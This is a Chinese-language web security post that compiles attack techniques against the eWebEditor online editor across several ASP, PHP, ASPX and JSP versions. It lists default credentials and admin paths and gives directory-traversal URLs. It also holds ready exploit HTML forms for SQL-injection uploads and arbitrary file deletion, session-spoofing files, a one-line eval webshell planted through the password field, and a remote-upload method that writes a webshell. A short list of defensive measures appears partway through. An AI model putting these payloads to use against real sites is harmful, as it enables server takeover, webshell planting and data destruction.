标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-1511]   作者: ecawen 发表于: [2018-05-04]

本文共 [336] 位读者顶过

1、关键文件的名称和路径[出自:jiwo.org]
Admin_Login.asp 登录页面
Admin_Default.asp 管理首页
Admin_Style.asp
Admin_UploadFile.asp
Upload.asp
Admin_ModiPwd.asp
eWebEditor.asp
db/ewebeditor.mdb 默认数据库路径
默认用户名admin,密码admin,admin888
一般用这个的默认后台的URL都是默认的:
www.0dayhack.com/admin/ewebeditor/login_admin.asp
类似:
www.0dayhack.com/ewebeditor/login_admin.asp
www.0dayhack.com/admin/eweb/login_admin.asp
www.0dayhack.com/admin/editor/login_admin.asp
而且账户和密码也基本都是默认的:admin admin(admin888)

2、ewebeditor编辑器一般默认数据库路径是db/ewebeditor.mdb

默认的后台路径是admin_login.asp
建议最好检测下admin_style.asp文件是否可以直接访问

3、遍历目录漏洞(具体如下):
登陆编辑器---上传文件管理---选择样式目录(随便选一个目录)
得到:
ewebeditor/admin_uploadfile.asp?id=14
在id=14后面添加&dir=..
再加 &dir=../..
&dir=../../../.. 看到整个网站文件了。

4、当数据库被管理员修改为asp、asa后缀的时候,可以插一句话木马服务端进入数据库,然后一句话木马客户端连接拿下webshell。

5、有的时候爆了数据库找不到后台地址,其实可以试试查看样式表,有没别人加入的asp、asa后缀样式表。
还有的时候聪明的管理员也就是加“#”不妨社工试试。例如:db/#ewebeditor.asa、db/#ewebeditor.asp 、db/#ewebeditor.mdb。

6、注入2.1.6ewebeditor编辑器。如下保存为html文件修改action,直接上传cer马。

<H1>ewebeditor asp版 2.1.6 上传漏洞利用程序----</H1><br><br>
<form action="http://127.1/e/upload.asp?action=save&type=IMAGE&style=luoye' union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt, [S_ImageExt]%2b'|cer',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl from ewebeditor_style where s_name='standard'and'a'='a" method=post name=myform enctype="multipart/form-data">
<input type=file name=uploadfile size=100><br><br>
<input type=submit value=Fuck>
</form>


7、ewebeditor2.7.0版本注入漏洞
简单利用就是
http://www.0dayhack.com/ewebeditor/ewebeditor.asp?id=article_content&style=full_v200
默认表名:eWebEditor_System默认列名:sys_UserName、sys_UserPass,然后利用穿山甲进行猜解,对此进行注入取得账号密码。

8、有的时候管理员不让复制样式,但是你又看到有个样式被别人以前入侵修改了存在asa或者之类可以传shell,但是上传插入工具没有,又无法修改怎么办那?也许很多人说应该可以加工具栏,但是我就遇见过不让加的,这样我们可以利用ewebeditor里的upload.asp文件进行本地构造进行上传具体如下:
在action下面
<form action="" >
<input type=file name=uploadfile size=1 style="width:100%" onchange="originalfile.value=this.value">
<input type="submit" name="uploadfile" value="提交">
<input type=hidden name=originalfile value="">
</form>


<input type="submit" name="uploadfile" value="提交"> 放在action后头
,适合用于在ewebeditor后台那个预览那里出来的 比如上传图片那里,有些时候上传页面弹不出来,就可以用upload.asp?action=save&type=ASA&style=test 这个本地来提交,不过这个东西还是要数据库里上传类型有ASA才可以传得上。

9、还有种方式是最近坏客发现的
利用WebEditor session欺骗漏洞,进入后台:
漏洞文件:Admin_Private.asp
漏洞语句:

<%
If Session("eWebEditor_User") = "" Then
Response.Redirect "admin_login.asp"
Response.End
End If


只判断了session,没有判断cookies和路径的验证问题。
漏洞利用:
新建一个amxking.asp内容如下:

<%Session("eWebEditor_User") = "11111111"%>


访问amxking.asp,再访问后台任何文件,for example:Admin_Default.asp

面对此种威胁网站管理员应该做好如下的防范措施:
1、使用了eWebEditor编辑器的网站,应及时修改该编辑器的默认数据库路径和后缀名,建议数据库多方几层目录,防止数据库被黑客非法下载
2、修改编辑器后台登陆路径和默认的登陆用户名和密码,防止黑客进入后台管理界面
3、对Upload.asp语句进行修改,防止黑客利用其上传ASP木马从而获得WEB权限
4、及时对网站服务器IIS配置中的应用程序扩展名映射进行整理,确保其它类型的文件不能在服务器网站上运行
ewebeditor 5.2 列目录漏洞

出现漏洞的文件存在于ewebeditor/asp/browse.asp

ASP/Visual Basic代码
Function GetList()
Dim s_List, s_Url
s_List = ""
Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName
'Response.Write sCurrDir
'On Error Resume Next
Set oFSO = Server.CreateObject("Scripting.FileSystemObject")
Set oUploadFolder = oFSO.GetFolder(Server.MapPath(sCurrDir))
'注意一下sCurrDir变量,这个值等下我们可以用到
If Err.Number>0 Then
s_List = ""
Exit Function
End If

If sDir <> "" Then
If InstrRev(sDir, "/") > 1 Then
s_Url= Left(sDir, InstrRev(sDir, "/") - 1)
Else
s_Url = ""
End If

s_List = s_List & "" & _
"" & _
".." & _
" " & _
""
End If
'Response.Write sDir&"!"&s_List

Dim oSubFolder
For Each oSubFolder In oUploadFolder.SubFolders
'Response.Write oUploadFolder.SubFolders
If sDir = "" Then
s_Url = oSubFolder.Name
Else
s_Url = sDir & "/" & oSubFolder.Name
End If
s_List = s_List & "" & _
"" & _
"" & oSubFolder.Name & "" & _
" " & _
""
Next
'Response.Write s_List

Set oUploadFiles = oUploadFolder.Files

For Each oUploadFile In oUploadFiles
'Response.Write oUploadFile.Name
sFileName = oUploadFile.Name
If CheckValidExt(sFileName) = True Then
'这行让人有点郁闷,检测了所有允许的文件后缀,如不允许就无法列出,不然就不只列出目录名和图片文件了
If sDir = "" Then
s_Url = sContentPath & sFileName
Else
s_Url = sContentPath & sDir & "/" & sFileName
End If

s_List = s_List & "" & _
"" & FileName2Pic(sFileName) & "" & _
"" & sFileName & "" & _
"" & GetSizeUnit(oUploadFile.size) & "" & _
""
End If
Next
Set oUploadFolder = Nothing
Set oUploadFiles = Nothing
'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url

If sDir = "" Then
s_Url = ""
's_Url = "/"
Else
s_Url = "/" & sDir & ""
's_Url = "/" & sDir & "/"
End If

s_List = s_List & ""
s_List = HTML2JS(s_List)
'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url
s_List = "parent.setDirList(""" & s_List & """, """ & s_Url & """)"
GetList = s_List
End Function
'如果没有下面这步检测的话,应该就可以列出目录中所有的文件了,有点郁闷..现在只能列出允许后缀的文件和目录名
Function CheckValidExt(s_FileName)
If sAllowExt = "" Then
CheckValidExt = True
Exit Function
End If

Dim i, aExt, sExt
sExt = LCase(Mid(s_FileName, InStrRev(s_FileName, ".") + 1))
CheckValidExt = False
aExt = Split(LCase(sAllowExt), "|")
For i = 0 To UBound(aExt)
If aExt(i) = sExt Then
CheckValidExt = True
Exit Function
End If
Next
End Function
'我们顺着代码往下找,发现sCurrDir的值是通过下面的值得到的
Sub InitParam()
sType = UCase(Trim(Request.QueryString("type")))
sStyleName = Trim(Request.QueryString("style"))

Dim i, aStyleConfig, bValidStyle
bValidStyle = False
For i = 1 To Ubound(aStyle)
aStyleConfig = Split(aStyle(i), "|||")
If Lcase(sStyleName) = Lcase(aStyleConfig(0)) Then
bValidStyle = True
Exit For
End If
Next

If bValidStyle = False Then
OutScript("alert('Invalid Style.')")
End If

sBaseUrl = aStyleConfig(19)
'nAllowBrowse = CLng(aStyleConfig(43))
nAllowBrowse = 1

If nAllowBrowse <> 1 Then
OutScript("alert('Do not allow browse!')")
End If

sUploadDir = aStyleConfig(3)
If Left(sUploadDir, 1) <> "/" Then
Select Case sType
Case "REMOTE"
sUploadDir = "../../" & sUploadDir & "Image/"
Case "FILE"
sUploadDir = "../../" & sUploadDir & "Other/"
Case "MEDIA"
sUploadDir = "../../" & sUploadDir & "Media/"
Case "FLASH"
sUploadDir = "../../" & sUploadDir & "Flash/"
Case Else
sUploadDir = "../../" & sUploadDir & "Image/"
End Select
End If
'sUploadDir =sUploadDir &"/"

Select Case sBaseUrl
Case "0"
'sContentPath = aStyleConfig(23)
Select Case sType
Case "REMOTE"
sContentPath = "../" & aStyleConfig(3) & "Image/"
Case "FILE"
sContentPath = "../" & aStyleConfig(3) & "Other/"
Case "MEDIA"
sContentPath = "../" & aStyleConfig(3) & "Media/"
Case "FLASH"
sContentPath = "../" & aStyleConfig(3) & "Flash/"
Case Else
sContentPath = "../" & aStyleConfig(3) & "Image/"
End Select
Case "1"
sContentPath = RelativePath2RootPath(sUploadDir)
Case "2"
sContentPath = RootPath2DomainPath(RelativePath2RootPath(sUploadDir))
End Select

Select Case sType
Case "REMOTE"
sAllowExt = aStyleConfig(10)
Case "FILE"
sAllowExt = aStyleConfig(6)
Case "MEDIA"
sAllowExt = aStyleConfig(9)
Case "FLASH"
sAllowExt = aStyleConfig(7)
Case Else
sAllowExt = aStyleConfig(8)
End Select

sCurrDir = sUploadDir '注意这里,这个是得到了配置的路径地址
sDir = Trim(Request("dir")) '得到dir变量
sDir = Replace(sDir, "\", "/") '对dir变量进行过滤
sDir = Replace(sDir, "../", "")
sDir = Replace(sDir, "./", "")
If sDir <> "" Then
If CheckValidDir(Server.Mappath(sUploadDir & sDir)) = True Then
sCurrDir = sUploadDir & sDir & "/"
'重点就在这里了,看到没有,当sUploadDir & sDir存在的时候,sCurrDir就为sUploadDir & sDir的值了
'虽然上面对sDir进行了过滤,不过我们完全可以跳过.具体利用st0p会在下面的利用中给出
Else
sDir = ""
End If
End If

End Sub

嘿嘿,看到这你应该明白了,其实就是对dir过滤的问题,我们完全可以构造特殊的值来跳过验证,这样就可以得到目录结构和显示设置文件中允许的文件后缀的文件了..
利用方法如下
http://www.0dayhack.com/ewebeditor/asp/browse.asp?style=standard650&dir=…././/..
由于st0p测试的时候,上传目录是根目录下的uploadfile,通过上面的地址就可以得到根目录下的所有目录了.
嘿嘿,如果你发现打开的时候显示的是空白,不要灰心,这就对了,直接查看源代码,看到了吗,里面就有你根目录的目录名字了.
嘿嘿,他根目录下有个guest目录,我们通过下面的地址可以列出他下面的结构
http://www.0dayhack.com/ewebeditor/asp/browse.asp?style=standard650&dir=…././/…././/guest
然后我们也可以通过
http://www.0dayhack.com/ewebeditor/asp/browse.asp?style=standard650&dir=…././/../…././/..
可以往更上层跳,我测试的那个虚拟主机,得到的是www,logfile,datebase这三个目录.

eWebEditorv5.5asp存在session欺骗漏洞!
记得以前eWebEditor在线编辑器有个session欺骗漏洞没想到5.5版本也存在!
 新建一个.asp文件,内容如下: <%Session("eWebEditor_User") = "123132323"%> 然后访问这个文件,再访问ewebeditor/admin_default.asp !欺骗进入后台!不过很老了!
代码如下:

'登录检查
Function ChkLogin()
If session("editor_admin")="" Or IsNull(session("editor_admin")) Then
PhilLogin()
session.CodePage = session("PreCodePage")
response.End
End If
End Function


呵呵很明显和以前的版本漏洞一样!

只是判断了session.

利用方法:

新建立个hkok8.asp内容为

<%Session("editor_admin") = "admin"%>

然后访问hkok8.asp 最后访问登陆文件.刷新ok进去了...

要进行这种Session欺骗,必须有三个前提:

1.进行欺骗的网页和被欺骗的网页必须位于同一个网站内.
2.必须知道管理页面。
3.必须知道Session变量以及它的限制条件。

php版ewebeditor 3.8的漏洞

php版本后台是调用../ewebeditor/admin/config.php,大家去看下源码就知道,在这里我说说利用方法:

1 首先当然要找到登陆后台,默认是../eWebEditor/admin/login.php,进入后台后随便输入一个用户和密码,当然会提示出错了,必须是出错的时候,然后这时候你清空浏览器的url,然后输入javascript:alert(document。cookie=”adminuser=”+escape(”admin”));javascript:alert(document。cookie=”adminpass=”+escape(”admin”));javascript:alert(document。cookie=”admindj=”+escape(”1〃));后三次回车,
2 然后输入正常情况才能访问的文件../ewebeditor/admin/default.php就可以进后台了

3 后面的利用和asp一样,新增样式修改上传,就ok了

测试一下asp 2.8版本的,竟然一样可以用,爽,看来asp版的应该可以通杀(只测试2.8的,貌似2.8是最高版本的)
aspx的版本../ewebeditor/admin/upload.aspx添好本地的cer的Shell文件,在浏揽器输入javascript:lbtnUpload.click();就能得到shell
jsp的上传漏洞以及那个出了N久了,由于没有上传按钮,选择好要上传的shell,直接回车就可以了。

10、eWebEditor 2.8 商业版插一句话木马
影响版本:=>2.8 商业版
攻击利用:
登陆后台,点击修改密码---新密码设置为 1":eval request("h")'
设置成功后访问http://www.0dayhack.com/ewebeditor/asp/config.asp文件即可,一句话木马被写入到这个文件里面了。

11、2.7以下的版本注入
eWebEditor.asp?id=14&style=standard
http://www.0dayhack.com/eWebEditor/eWebEditor.asp?id=14&style=standard
eweb默认的管理员表是:ewebeditor_system
这个表下的默认两个列名为:sys_UserName和sys_userpass

12、asp版 2.1.6 上传漏洞利用代码如下
<H1>ewebeditor asp版 2.1.6 上传漏洞利用程序----</H1><br><br><form action="http://www.0dayhack.com/eWebEdito/upload.asp?action=save&type=IMAGE&style=luoye' union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt, [S_ImageExt]%2b'|cer',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl from ewebeditor_style where s_name='standard'and'a'='a" method=postname=myformenctype="multipart/form-data"><input type=filename=uploadfilesize=100><br><br><input type=submitvalue=Fuck></form>


13、ewebeditor 5.5 构造上传漏洞拿shell

先访问这个地址:
Editor/asp/upload.asp?action=save&type=image&style=popup&cusdir=sunghost.asp
访问这个地址可以建立个sunghost.ASP的文件夹……
再用这个html代码上传。
<form action=”http://www.0dayhack.com/Editor/asp/upload.asp?action=save&type=image&style=popup&cusdir=qing.asp” method=post name=myform enctype=”multipart/form-data”>
<input type=file name=uploadfile size=100><br><br>
<input type=submit value=upload>
</form>
本地提交了一个图片小马,返回空白页面,查看源码,得到小马路径。还是IIS解析漏洞~
对6.X的也管用,对ASP。aspx。JSP。均管用。

14  ewebeditor 2.8 后台插上一句话
攻击利用:登陆后台,点击修改密码—新密码设置为 1":eval request("a")'
设置成功后,访问http://www.0dayhack.com/ewebeditor/asp/config.asp文件即可,一句话木马被写入到这个文件里面了

15 任意文件删除漏洞

 此漏洞存在于Example\NewsSystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入!看代码
' 把带"|"的字符串转为数组

Dim aSavePathFileName
aSavePathFileName = Split(sSavePathFileName, "|")
' 删除新闻相关的文件,从文件夹中
Dim i
For i = 0 To UBound(aSavePathFileName)
' 按路径文件名删除文件
Call DoDelFile(aSavePathFileName(i))
Next
而aSavePathFileName是前面从数据库取出来的:
sSavePathFileName = oRs("D_SavePathFileName")
看看D_SavePathFileName是怎么添加到数据库里的,在addsave.asp(modifysave.asp)里:sSavePathFileName = GetSafeStr(Request.Form("d_savepathfilename"))
oRs("D_SavePathFileName") = sSavePathFileName
居然过滤了,是GetSafeStr函数,再看看这个函数,在Startup.asp里:
Function GetSafeStr(str)
GetSafeStr = Replace(Replace(Replace(Trim(str), "'", ""), Chr(34), ""), ";", "")
End Function

        既然路径没有过滤,那就可以直接定义了,构造一个提交页面,其中d_savepathfilename自己任意赋值(要删除多个文件,用|隔开即可)。试试../../eWebEditor.asp,提交后删除该新闻,于是主目录下的eWebEditor.asp不见了!漏洞利用:
-------------------------------------------------------------------------------------------
<HTML><HEAD><TITLE>eWebEditor删除文件 byldjun(>
新闻列表%20|%20增加新闻
增加新闻
http://127.0.0.1/editor/Example/NewsSystem/addsave.asp" 
method="post" name="myform">
    <input type=hidden name=d_originalfilename>
    <input type=hidden name=d_savefilename>
    <table cellspacing=3 align=center>
<tr><td>要删的文件(相对路径就可以了):</td>
<td><input type="text" name="d_savepathfilename" value="" size="90"></td>
</tr>
<tr><td>新闻标题(随便填):</td>
<td><input type="text" name="d_title" value="" size="90"></td>
</tr>
<tr><td>标题图片:</td>
<td><select name="d_picture" size=1><option value=''>无</option></select>
当编辑区有插入图片时,将自动填充此下拉框</td>
</tr>
<tr><td>新闻内容(随便填):</td>
<td><textarea name="d_content"></textarea></td>
</tr>
</table>
<input type=submit name=btnSubmit value=" 提 交 "> 
<input type=reset name=btnReset value=" 重 填 ">
</form>
</BODY></HTML> 
删除文件漏洞一般是配合其他漏洞使用的,比如目录遍历
<a href='list.asp'>中的list.asp地址要修改
<a href='add.asp'>中的add.asp地址要修改
<form action="http://127.0.0.1/editor/Example/NewsSystem/addsave.asp"
(http://127.0.0.1/editor/Example/NewsSystem/addsave.asp地址要修改)
        另外一个简单利用方式:
<form action="http://www.0dayhack.com/editor/example/newssystem/addsave.asp" method="post">
<input type=hidden name=d_originalfilename value="x">
<input type=hidden name=d_savefilename value="x">
要删除的文件(相对路径,多个文件用“|”隔开)<br>
<input type=text name=d_savepathfilename>
<input type=hidden name="d_title" value="x">
<input type=hidden name="d_picture" value="x">
<textarea name="d_content">x</textarea>
<input type=submit name=btnSubmit value="submit">
</form>


然后得到返回的新闻ID再提交:http://www.0dayhack.com/editor/example/newssystem/delete.asp?id=[id]
16 利用远程上传功能
   比如s_full样式就存在这个功能,打开编辑页面,然后图片,选择输入url 比如:http://site.com/1.gif.asp ! 然后选择上传远程文件!自动就把1.gif.asp 保存在上传目录内!注:网上的东西大部分传来传去,这个办法愚弄自己还成!文件的确显示后缀为.asp 但是不能访问,因为收集过来的时候自动截止在1.gif了所以后面的.asp等于没有!而且gif的内容就是我们这个url的路径!呵呵,后来又看到一个利用方式!是利用远程搜集的时候执行,我们文件的代码生成另外的小马!
     
首先建立1.gif.asp 代码如下

<%
Set fs = CreateObject("Scripting.FileSystemObject")
Set MyTextStream=fs.OpenTextFile(server.MapPath("\akteam.asp"),1,false,0)
Thetext=MyTextStream.ReadAll
response.write thetext
%>


在我们的1.gif.asp的同目录下建立一个akteam.asp文件,内容就是我们的小马.
利用上面说的远程上传的方式!可以得到webshell!成功率取决于虚拟主机的安全设置!

评论

暂无
发表评论
 返回顶部 
热度(336)
 关注微信